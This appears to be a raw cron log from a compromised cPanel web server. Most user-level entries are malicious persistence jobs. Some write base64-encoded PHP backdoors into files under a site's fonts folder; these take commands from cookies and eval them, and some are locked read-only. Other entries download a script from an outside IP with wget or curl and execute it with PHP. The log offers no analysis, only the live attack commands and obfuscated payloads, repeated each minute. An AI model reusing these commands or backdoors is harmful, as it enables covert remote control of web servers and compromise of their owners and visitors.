Sep 22 05:39:01 ip-184-168-122-23 CROND[28148]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:39:01 ip-184-168-122-23 CROND[28150]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:40:01 ip-184-168-122-23 CROND[28336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:40:01 ip-184-168-122-23 CROND[28338]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 05:40:01 ip-184-168-122-23 CROND[28339]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 05:40:01 ip-184-168-122-23 CROND[28341]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 05:40:01 ip-184-168-122-23 CROND[28340]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 05:40:01 ip-184-168-122-23 CROND[28344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:40:01 ip-184-168-122-23 CROND[28345]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:40:01 ip-184-168-122-23 CROND[28343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:41:01 ip-184-168-122-23 CROND[28490]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:41:01 ip-184-168-122-23 CROND[28491]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:41:01 ip-184-168-122-23 CROND[28493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:41:01 ip-184-168-122-23 CROND[28494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:42:01 ip-184-168-122-23 CROND[28753]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:42:01 ip-184-168-122-23 CROND[28752]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 05:42:01 ip-184-168-122-23 CROND[28751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:42:02 ip-184-168-122-23 CROND[28754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:42:02 ip-184-168-122-23 CROND[28755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:43:01 ip-184-168-122-23 CROND[28870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:43:01 ip-184-168-122-23 CROND[28871]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:43:01 ip-184-168-122-23 CROND[28872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:43:01 ip-184-168-122-23 CROND[28873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:44:01 ip-184-168-122-23 CROND[29006]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:44:01 ip-184-168-122-23 CROND[29008]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:44:01 ip-184-168-122-23 CROND[29013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:44:01 ip-184-168-122-23 CROND[29012]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:44:01 ip-184-168-122-23 CROND[29011]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 05:45:01 ip-184-168-122-23 CROND[29138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:45:01 ip-184-168-122-23 CROND[29139]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 05:45:01 ip-184-168-122-23 CROND[29140]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 05:45:01 ip-184-168-122-23 CROND[29144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:45:01 ip-184-168-122-23 CROND[29145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:45:01 ip-184-168-122-23 CROND[29147]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:46:01 ip-184-168-122-23 CROND[29291]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:46:01 ip-184-168-122-23 CROND[29294]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:46:01 ip-184-168-122-23 CROND[29297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:46:01 ip-184-168-122-23 CROND[29298]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 22 05:46:01 ip-184-168-122-23 CROND[29296]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:46:01 ip-184-168-122-23 CROND[29293]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 05:46:01 ip-184-168-122-23 CROND[29295]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 05:47:01 ip-184-168-122-23 CROND[29533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:47:01 ip-184-168-122-23 CROND[29534]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:47:01 ip-184-168-122-23 CROND[29537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:47:01 ip-184-168-122-23 CROND[29536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:48:01 ip-184-168-122-23 CROND[29654]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:48:01 ip-184-168-122-23 CROND[29657]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 05:48:01 ip-184-168-122-23 CROND[29658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:48:01 ip-184-168-122-23 CROND[29656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:48:01 ip-184-168-122-23 CROND[29659]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:49:01 ip-184-168-122-23 CROND[29777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:49:01 ip-184-168-122-23 CROND[29778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:49:01 ip-184-168-122-23 CROND[29779]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:49:01 ip-184-168-122-23 CROND[29781]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:50:02 ip-184-168-122-23 CROND[29922]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:50:02 ip-184-168-122-23 CROND[29927]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 05:50:02 ip-184-168-122-23 CROND[29928]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 05:50:02 ip-184-168-122-23 CROND[29930]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 05:50:02 ip-184-168-122-23 CROND[29923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:50:02 ip-184-168-122-23 CROND[29929]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 05:50:02 ip-184-168-122-23 CROND[29925]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 05:50:02 ip-184-168-122-23 CROND[29924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:50:02 ip-184-168-122-23 CROND[29926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:51:01 ip-184-168-122-23 CROND[30093]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:51:01 ip-184-168-122-23 CROND[30095]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
